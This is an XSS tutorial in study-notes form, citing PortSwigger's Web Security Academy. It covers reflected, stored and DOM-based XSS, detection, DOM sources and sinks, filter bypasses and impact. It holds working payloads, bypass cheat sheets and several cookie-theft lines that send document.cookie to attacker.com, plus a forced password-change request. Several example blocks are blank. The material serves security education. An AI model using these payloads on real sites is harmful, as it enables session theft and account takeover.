Cross-Site Scripting (XSS)
Source: PortSwigger Web Security Academy Author: Johan Beysen
1. What Is XSS?
Cross-Site Scripting (XSS) lets an attacker inject malicious scripts into web pages that are viewed by other users. The victim's browser executes the script as if it came from the legitimate site.
This can lead to:
- Stealing session cookies and tokens
- Hijacking user actions (keylogging, forms)
- Phishing and credential harvesting
- Modifying page content (defacement)
- Performing CSRF attacks on the victim's behalf
Difference from SQLi
XSS targets the victim's browser — SQLi targets the database server. XSS is a client-side attack; the server itself isn't directly compromised.
2. Detecting XSS
Manual detection through a systematic approach at each entry point:
| Step | What you do |
|---|---|
| 1 | Inject a unique benign string: xsstest1234 |
| 2 | Find the reflection back in the HTTP response |
| 3 | Determine the context (HTML, attribute, JS, URL) |
| 4 | Test a payload tailored to that context |
| 5 | Confirm execution via alert(), print() or console.log() |
Burp Scanner
Burp Scanner automatically detects most XSS vulnerabilities. Manual testing is useful to understand the context and impact.
alert() blocked?
Some modern browsers block alert() in sandboxed iframes. Use print() or console.log() as an alternative.
3. Reflected XSS
The payload comes from the HTTP request. The application processes the input and sends it back unsanitized in the immediate response.
The server generates:
The browser executes the script.
Requires interaction
Reflected XSS requires the victim to click a specially crafted link. Attackers spread those links via phishing, forums or URL shorteners.
Most common in: search results, error messages, URL parameters, form validation.
4. Stored XSS
The payload is stored in the database and executed on every page view by other users. No interaction with a link is required.
<!-- The attacker posts in a comment field: -->
Great article! <script>document.location='https://attacker.com/steal?c='+document.cookie</script>
Every visitor who loads the page runs the script.
The most dangerous
Stored XSS is more persistent and more dangerous than Reflected XSS. One injection can hit every future visitor — including admins.
Most common in: comments, forum posts, user profiles, product names, log viewers.
5. DOM-Based XSS
The vulnerability lives in the client-side JavaScript. Attacker data is read from a source and written, without sanitization, into a dangerous sink.
5.1 Sources (attacker data entry points)
document.URL
document.location
document.location.search
document.location.hash
document.referrer
window.name
5.2 Sinks (dangerous write functions)
| Sink | Risk |
|---|---|
document.write() |
HTML injection |
innerHTML |
HTML injection |
eval() |
JavaScript execution |
setTimeout() / setInterval() |
JavaScript execution |
element.src |
Script/resource loading |
location.href |
Navigation to a javascript: URL |
5.3 Example
// Vulnerable code — writes the URL hash directly to the DOM
document.getElementById('output').innerHTML = decodeURIComponent(location.hash.slice(1));
Payload in the URL:
DOM XSS vs Reflected/Stored
With DOM XSS, the payload never leaves the browser — it lives entirely in the URL or client-side state. Proxies and scanners that only look at server responses miss this type.
6. XSS Contexts & Payloads
6.1 HTML Context
Reflection between HTML tags:
6.2 HTML Attribute Context
Reflection inside an attribute value:
6.3 JavaScript String Context
Reflection inside a JavaScript string:
6.4 URL Context
Reflection in an href or src attribute:
URL encoding
javascript:alert(1) must be correctly URL-encoded in some contexts. Also test JaVaScRiPt:alert(1) if a filter is present.
7. Filter Bypasses
7.1 Case Mixing
7.2 Alternative Tags
<svg/onload=alert(1)>
<details/open/ontoggle=alert(1)>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>
<math><mtext></table><img src=1 onerror=alert(1)>
7.3 Event Handler Variants
If onerror and onload are blocked:
onfocus onblur onmouseover onmouseout
onkeydown onkeyup onkeypress onclick
onpointerover ontouchstart onanimationend
7.4 Character Encoding
7.5 Bypassing Spaces
7.6 Bypassing Quotes
PortSwigger XSS Cheat Sheet
The PortSwigger XSS cheat sheet contains hundreds of tested payloads per browser and context. See section 8.
8. Impact & Exploitation
8.1 Stealing Cookies
or via fetch (stealthier):
8.2 Session Token via XHR
var xhr = new XMLHttpRequest();
xhr.open('GET','https://attacker.com/?token='+document.cookie);
xhr.send();
8.3 Keylogger
8.4 Exfiltrating Page Content
8.5 Performing an Admin Action (CSRF via XSS)
// Changing the password as admin
fetch('/my-account/change-password', {
method: 'POST',
body: 'password=hacked&confirm=hacked'
})
HttpOnly cookie
If the session cookie is HttpOnly, JavaScript can't read document.cookie. But you can still perform actions on the victim's behalf via CSRF attacks from the XSS context.
9. DOM XSS — Step-by-Step Approach
Step 1 — Identifying the source
Look in the JavaScript code for which source holds the attacker data:
Step 2 — Identifying the sink
Find where the source data ends up:
Step 3 — Tailoring the payload to the sink
Step 4 — Validating the context
Check whether the sink transforms the data further (encode, decode, trim) before adjusting your payload.
10. XSS Cheat Sheet
Basic Payloads
| Context | Payload |
|---|---|
| HTML | <script>alert(1)</script> |
| HTML | <img src=x onerror=alert(1)> |
| HTML | <svg onload=alert(1)> |
| Attribute | " onmouseover="alert(1) |
| Attribute | " autofocus onfocus="alert(1) |
| JS String | '; alert(1)// |
| JS Template | ${alert(1)} |
| href | javascript:alert(1) |
Cookie Theft Payloads
| Method | Payload |
|---|---|
| Redirect | <script>document.location='https://attacker.com/?c='+document.cookie</script> |
| Fetch | <script>fetch('https://attacker.com/?c='+btoa(document.cookie))</script> |
| Img | <img src=x onerror="this.src='https://attacker.com/?c='+document.cookie"> |
DOM Sinks vs Payloads
| Sink | Payload |
|---|---|
innerHTML |
<img src=1 onerror=alert(1)> |
document.write() |
<script>alert(1)</script> |
eval() |
alert(1) |
setTimeout() |
alert(1) |
location.href |
javascript:alert(1) |
element.src |
javascript:alert(1) |
Bypass Summary
| Filter | Bypass |
|---|---|
<script> blocked |
<img src=x onerror=alert(1)> |
| Lowercase blocked | <ScRiPt>alert(1)</sCrIpT> |
onerror blocked |
onfocus autofocus / onmouseover |
| Quotes blocked | onerror=alert(1) (without quotes) |
| Spaces blocked | <svg/onload=alert(1)> |
alert blocked |
print() / confirm() / console.log() |